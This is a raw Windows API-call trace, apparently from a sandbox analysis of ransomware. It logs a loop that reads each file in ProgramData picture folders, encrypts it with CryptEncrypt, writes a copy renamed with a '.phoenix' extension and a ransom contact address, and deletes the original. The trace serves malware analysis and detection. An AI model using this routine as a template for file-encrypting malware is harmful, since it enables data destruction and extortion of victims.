	[0229.377] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.377] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.377] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.380] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0229.380] CloseHandle (hObject=0x2d8) returned 1
	[0229.380] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.381] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.397] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=602168) returned 1
	[0229.397] CloseHandle (hObject=0x2e4) returned 1
	[0229.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp")) returned 0x20
	[0229.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.398] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0229.398] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.399] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.399] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0229.399] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.399] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x93038, lpOverlapped=0x0) returned 1
	[0229.527] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x93040, dwBufLen=0x93040 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x93040) returned 1
	[0229.528] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x93040, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x93040, lpOverlapped=0x0) returned 1
	[0229.539] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151240) returned 1
	[0229.539] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.539] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0229.539] CryptDestroyKey (hKey=0x151240) returned 1
	[0229.539] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0229.539] CryptDestroyKey (hKey=0x151080) returned 1
	[0229.539] CloseHandle (hObject=0x2c0) returned 1
	[0229.539] CloseHandle (hObject=0x2f0) returned 1
	[0229.606] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp")) returned 1
	[0229.611] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.611] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.611] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5400) returned 1
	[0229.611] CloseHandle (hObject=0x2f0) returned 1
	[0229.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png")) returned 0x20
	[0229.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.611] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.611] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.611] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.612] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0229.612] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0229.612] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.612] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1518, lpOverlapped=0x0) returned 1
	[0229.639] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1520, dwBufLen=0x1520 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1520) returned 1
	[0229.639] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1520, lpOverlapped=0x0) returned 1
	[0229.640] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0229.640] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.640] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0229.640] CryptDestroyKey (hKey=0x151380) returned 1
	[0229.640] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0229.640] CryptDestroyKey (hKey=0x151700) returned 1
	[0229.641] CloseHandle (hObject=0x2f0) returned 1
	[0229.641] CloseHandle (hObject=0x2c0) returned 1
	[0229.641] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png")) returned 1
	[0229.642] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.642] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.687] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2407) returned 1
	[0229.687] CloseHandle (hObject=0x2e8) returned 1
	[0229.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png")) returned 0x20
	[0229.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.688] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.688] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.688] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151280) returned 1
	[0229.688] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.688] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x967, lpOverlapped=0x0) returned 1
	[0229.720] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x970, dwBufLen=0x970 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x970) returned 1
	[0229.720] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x970, lpOverlapped=0x0) returned 1
	[0229.721] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151240) returned 1
	[0229.721] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.721] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0229.721] CryptDestroyKey (hKey=0x151240) returned 1
	[0229.721] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0229.721] CryptDestroyKey (hKey=0x151280) returned 1
	[0229.721] CloseHandle (hObject=0x2e8) returned 1
	[0229.721] CloseHandle (hObject=0x2d8) returned 1
	[0229.721] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png")) returned 1
	[0229.722] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.722] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.723] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=501) returned 1
	[0229.723] CloseHandle (hObject=0x2d8) returned 1
	[0229.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png")) returned 0x20
	[0229.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.723] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.724] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.724] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.724] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.724] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151280) returned 1
	[0229.724] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.724] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1f5, lpOverlapped=0x0) returned 1
	[0229.725] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x200, dwBufLen=0x200 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x200) returned 1
	[0229.725] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x200, lpOverlapped=0x0) returned 1
	[0229.726] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0229.726] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.726] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0229.726] CryptDestroyKey (hKey=0x151180) returned 1
	[0229.726] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0229.759] CryptDestroyKey (hKey=0x151280) returned 1
	[0229.759] CloseHandle (hObject=0x2d8) returned 1
	[0229.759] CloseHandle (hObject=0x2e8) returned 1
	[0229.760] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png")) returned 1
	[0229.760] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.761] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.761] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5400) returned 1
	[0229.761] CloseHandle (hObject=0x2e8) returned 1
	[0229.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png")) returned 0x20
	[0229.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.761] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.761] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.761] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.761] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.762] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1512c0) returned 1
	[0229.762] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.762] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1518, lpOverlapped=0x0) returned 1
	[0229.762] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1520, dwBufLen=0x1520 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1520) returned 1
	[0229.762] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1520, lpOverlapped=0x0) returned 1
	[0229.763] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0229.763] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.763] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0229.763] CryptDestroyKey (hKey=0x151380) returned 1
	[0229.763] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0229.763] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0229.764] CloseHandle (hObject=0x2e8) returned 1
	[0229.764] CloseHandle (hObject=0x2d8) returned 1
	[0229.764] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png")) returned 1
	[0229.765] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.765] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.765] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2659) returned 1
	[0229.765] CloseHandle (hObject=0x2d8) returned 1
	[0229.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0229.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.765] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.766] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
